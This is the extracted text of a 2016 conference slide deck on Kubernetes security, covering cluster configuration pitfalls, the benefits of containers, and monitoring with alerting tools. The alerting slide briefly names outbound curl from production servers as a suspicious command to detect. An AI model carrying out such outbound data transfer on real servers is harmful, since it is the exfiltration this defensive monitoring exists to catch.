2016 - sk8ting on thin ice: crash course in kubernetes & security

1The retirement benefit that benefits everyone

Matt JohansenDirector of Security

Honest Dollar@mattjay

The retirement benefit that benefits everyone

A Simple, Portable & Affordable Savings Solution

May 2016

Sk8ing on Thin Ice: A Crash Course in Kubernetes & Security


Honest Dollar is a company dedicated to helping people save

in a society built on spending


Matt Johansen- Security Guy- Wannabe Developer- SXSW, BlackHat, DEFCON,

RSA, more++


Agenda

Security & Kubernetes

What is it? | What is Kubernetes anyway? (This portion will not include how to pronounce it)

Why use it? | “Because $Cool_Unicorn is using it” is not acceptable.

Security Pitfalls | Trust me. There are holes to fall into.

Security Benefits | You mean there are benefits to containerization outside of DevOps?

Examples | No Live Demos™ - But lets walk through some cool security monitoring, logging, alerting, and other tricks. Along with some basic security hygiene.


Kube

Kubernetes


Kube

Kubernetes

Source: Imesh Gunaratne - Intro to Kubernetes


Kubernetes

Things to keep in mindYAML Land - Config Management is hardDifferent Environments - We’re running a company here. Prod, Dev, QA, etc. need processes.Persistence (and not) - Pods die. Its okay (and sometimes awesome). Manage your data intelligently.Secret Sauce - Docker is not the magic. Orchestration is the magic. Learn and love your Services, RCs, and Pods.

Kube

Words I might sayNode - Worker VMs.Pod - Group of Containers.Replication Controller - Manages Pod lifecycle & config.Service - Config for a set of Pods.Cluster - Single network & group of Nodes.


Pitfalls


Cluster


Cluster

Bad Idea

Nearly identical YAMLs. Duplication of work and error prone.


Cluster

Separation of Concerns


Environment Stability

Cluster

Options• Puppet (kinda)• Shell scripts + templates• rakefiles + templates (Us Currently)

Lessons Learned• Launch as much as possible, with the fewest

commands possible.• Track versions and automate container building

if possible.• Automate testing / build pipeline to watch out for

regressing over hot fixes.• Track versions (and dependencies!) between

environments


IP

Load Balancing

Watch your logs if you do this. You’ll lose origin IP.

Solution: Break nginx out of cluster (I know, I know)


Loophole

kubectl

Whats wrong with this picture?


Benefits


Security Benefits

Security

Containerization• Patching - Oh you mean `docker build`?• One process per container - Less

vulnerability surface for stuff you don’t use.• Mobility - Host agnostic• Segregation - Less pivot surface• Typically short lifespan - Less old, stale,

vulnerable systems.

Kubernetes• Upgrade process - Bring nodes down, bring new

ones up. Pods find their way to a new home.• Log granularity - Know and prioritize your log

events.• Build pipeline and web hook friendly.*• Rate of change it enables is incredibly fast.• Transient by nature.

*Continuous Integration is no longer a ‘nice to have’. For security it is a must.


Fix Fast

Continuous Integration

Good luck with you two week release cycle.

Source: Verizon DBIR - 2016


Watch Everything

Monitoring

Log everything. Watch your logs.

Source: Verizon DBIR - 2016


Monitoring

Log all the things

Logging• ElasticSearch• rsyslog + RELP• auditd (go-audit)• OSQuery• nginx logs • Docker logs

Alerting• ElastAlert• Slack bots• SSH Connections• Suspicious commands (curl out of a prod server?)• File watch • Anomalies (Geo, IP, data movement, spikes, etc.)


Matt JohansenDirector of Security

Honest Dollar@mattjay

The retirement benefit that benefits everyone

A Simple, Portable & Affordable Savings Solution

May 2016

Thank You

2016 - sk8ting on thin ice: crash course in kubernetes & security

Software